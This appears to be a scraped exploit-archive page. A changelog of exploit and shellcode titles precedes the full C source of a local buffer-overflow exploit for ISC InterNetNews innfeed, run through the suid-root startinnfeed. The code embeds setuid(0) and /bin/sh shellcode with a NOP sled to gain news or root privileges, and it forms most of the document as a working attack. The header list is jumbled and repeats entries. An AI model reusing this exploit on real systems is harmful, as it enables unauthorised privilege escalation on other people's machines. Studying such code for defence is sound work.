
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
109 lines
No EOL
3.4 KiB
C
109 lines
No EOL
3.4 KiB
C
// source: https://www.securityfocus.com/bid/2620/info
|
|
|
|
The innfeed utility, part of ISC InterNetNews, has an exploitable buffer overflow in its command-line parser. Specifically, innfeed will overflow if an overly long -c option is passed to it.
|
|
|
|
A local attacker in the news group could use this overflow to execute arbitary code with an effective userid of news, which could constitute an elevation in privileges, and the ability to alter news-owned binaries that could be run by root.
|
|
|
|
Exploits are available against x86 Linux builds of innfeed.
|
|
|
|
/*
|
|
x-innfeed.c
|
|
|
|
Buffer overflow in innfeed being called from startinnfeed renders
|
|
uid(news) gid(news), startinnfeed is suid root so I have to also check
|
|
if I can manage to get root out of this ....
|
|
|
|
Enrique A. Sanchez Montellano
|
|
(@defcom.com ... Yes is only @defcom.com)
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
|
|
#define OFFSET 0
|
|
#define ALIGN 0
|
|
#define BUFFER 470
|
|
|
|
// MANDRAKE, REDHAT, etc....
|
|
|
|
#ifdef REDHAT
|
|
/* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */
|
|
//static char shellcode[]=
|
|
//"\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
|
|
char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
|
|
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
|
|
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
|
|
|
#endif
|
|
|
|
#ifdef SLACKWARE
|
|
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
|
|
static char shellcode[]=
|
|
"\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/bash1";
|
|
#endif
|
|
|
|
unsigned long get_sp(void) {
|
|
__asm__("movl %esp, %eax");
|
|
}
|
|
|
|
void usage(char *name) {
|
|
printf("Usage: %s <offset> <align> <buffer>\n", name);
|
|
printf("Defcom Labs @ Spain ...\n");
|
|
printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
|
|
exit(0);
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
char *code;
|
|
int offset = OFFSET;
|
|
int align = ALIGN;
|
|
int buffer = BUFFER;
|
|
unsigned long addr;
|
|
int i;
|
|
|
|
if(argc > 1) offset = atoi(argv[1]);
|
|
if(argc > 2) align = atoi(argv[2]);
|
|
if(argc > 3) buffer = atoi(argv[3]);
|
|
|
|
code = (char *)malloc(buffer);
|
|
|
|
printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n");
|
|
printf("------------------------------------------------------------\n");
|
|
printf("[ + ] Found by: \n\n[ + ] Alex Hernandez
|
|
(alex.hernandez@defcom.com) \n[ + ] Enrique Sanchez (@defcom.com ... Yes
|
|
is just @defcom.com)\n");
|
|
printf("[ + ] Defcom Labs @ Spain ....\n");
|
|
printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n");
|
|
|
|
addr = get_sp() - offset;
|
|
|
|
printf("[ + ] Using address 0x%x\n", addr);
|
|
|
|
for(i = 0; i <= buffer; i += 4) {
|
|
*(long *)&code[i] = 0x90909090;
|
|
}
|
|
|
|
*(long *)&code[buffer - 4] = addr;
|
|
*(long *)&code[buffer - 8] = addr;
|
|
|
|
memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode,
|
|
strlen(shellcode));
|
|
|
|
printf("[ + ] Starting exploitation ... \n\n");
|
|
|
|
// REDHAT, MANDRAKE ...
|
|
#ifdef REDHAT
|
|
execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
|
|
#endif
|
|
|
|
// SLACKWARE
|
|
#ifdef SLACKWARE
|
|
execl("/usr/lib/news/bin/startinnfeed",
|
|
"/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
|
|
#endif
|
|
|
|
return 0;
|
|
} |